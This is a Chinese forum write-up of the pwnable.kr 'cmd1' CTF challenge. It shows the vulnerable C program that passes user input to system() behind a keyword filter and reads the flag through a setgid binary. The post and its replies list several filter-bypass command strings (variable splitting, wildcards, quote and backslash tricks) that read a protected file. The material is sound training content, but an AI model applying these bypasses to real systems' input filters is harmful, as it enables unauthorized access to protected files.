首页
社区
课程
招聘
[分享]pwnable.kr cmd1 day12
2021-1-14 21:37 8074

[分享]pwnable.kr cmd1 day12

2021-1-14 21:37
8074

cmd1

题目

title

解题过程

1. 查看文件列表

file_list

 

root 和 cmd1_pwn 用户对 flag 有读权限,cmd1 用户对 flag 无读权限,对 文件 cmd1 有执行权限,且文件 cmd1 组权限中有个 s,意味着当 cmd1 用户执行文件 cmd1 时,会临时拥有 cmd1_pwn 用户的权限。

2. 查看 cmd1.c 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
 
int filter(char* cmd){
        // 过滤 "flag","sh","tmp" 字符串
 
        int r=0;
        r += strstr(cmd, "flag")!=0// 该函数返回在 cmd 中第一次出现 "flag" 字符串的位置,如果未找到则返回 null
        r += strstr(cmd, "sh")!=0;
        r += strstr(cmd, "tmp")!=0;
        return r;
}
int main(int argc, char* argv[], char** envp){
        putenv("PATH=/thankyouverymuch");   // int putenv(const char * string);  改变或增加环境变量的内容.返回值:执行成功则返回0, 有错误发生则返回-1.
        if(filter(argv[1])) return 0;
        system( argv[1] ); 
        return 0;
}

程序会调用 system() 执行我们输入的 argv[1].
argv[1] 不能包含 flag、sh、tmp,所以考虑编写一个读取 flag 的 bash 脚本,直接在对应目录下用 ./ 执行脚本。

3. exp

1
2
/bin/cat /home/cmd1/flag
# cat 不写绝对路径会提醒找不到 cat

编写后记得赋予该文件可执行权限

4. pwm

/home/cmd1/cmd1 ./cmd1_21
flag


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2021-1-15 19:48 被cease2e编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (4)
雪    币: 5261
活跃值: (3470)
能力值: ( LV7,RANK:117 )
在线值:
发帖
回帖
粉丝
鬼才zxy 2 2021-1-20 17:15
2
0
我在做这题发现,做一个命令的拼接也能过掉过滤
把/bin/cat flag改写成
./cmd1 'var1="/bin/cat fl";var2="ag";$var1$var2'
雪    币: 39
活跃值: (3593)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
cease2e 2021-1-21 13:30
3
0
鬼才zxy 我在做这题发现,做一个命令的拼接也能过掉过滤[em_86] 把/bin/cat flag改写成 ./cmd1 'var1="/bin/cat fl";var2="ag ...
雪    币: 25
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
pwnooooo 2021-1-25 16:03
4
1
鬼才zxy 我在做这题发现,做一个命令的拼接也能过掉过滤[em_86] 把/bin/cat flag改写成 ./cmd1 'var1="/bin/cat fl";var2="ag ...
改成这几种应该也可以:
/bin/cat /home/cmd1/??ag
/bin/cat /home/cmd1/fl*
/bin/cat /home/cmd1/fla""g
/bin/cat /home/cmd1/fla''g
/bin/cat /home/cmd1/fla\g
/bin/cat /home/cmd1/fl$1ag

雪    币: 39
活跃值: (3593)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
cease2e 2021-1-30 18:28
5
0
pwnooooo 改成这几种应该也可以: /bin/cat /home/cmd1/??ag /bin/cat /home/cmd1/fl* /bin/cat /home/cmd1/fla""g ...
游客
登录 | 注册 方可回帖
返回